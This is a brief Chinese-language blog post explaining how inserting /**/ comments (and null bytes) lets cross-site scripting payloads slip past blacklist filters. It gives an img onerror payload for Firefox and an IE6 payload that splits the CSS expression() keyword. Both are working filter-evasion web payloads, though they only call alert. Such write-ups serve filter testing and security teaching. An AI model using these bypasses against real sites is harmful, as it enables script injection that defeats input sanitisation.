利用/**/来绕过黑名单

Posted 2020-10-24 xxrens

火狐下：

<img/srC="x"/*%00*/oneRror=/**/alert(1)/*%00*/>

 

IE6下：

样式表中的/**/会被浏览器忽略，因此可以运用/**/来注释字符，通过插入/**/来绕过过滤如下：

 

<img src="1" style="width: exp/**/re/**/ss/**/ion(alert(‘xss‘));">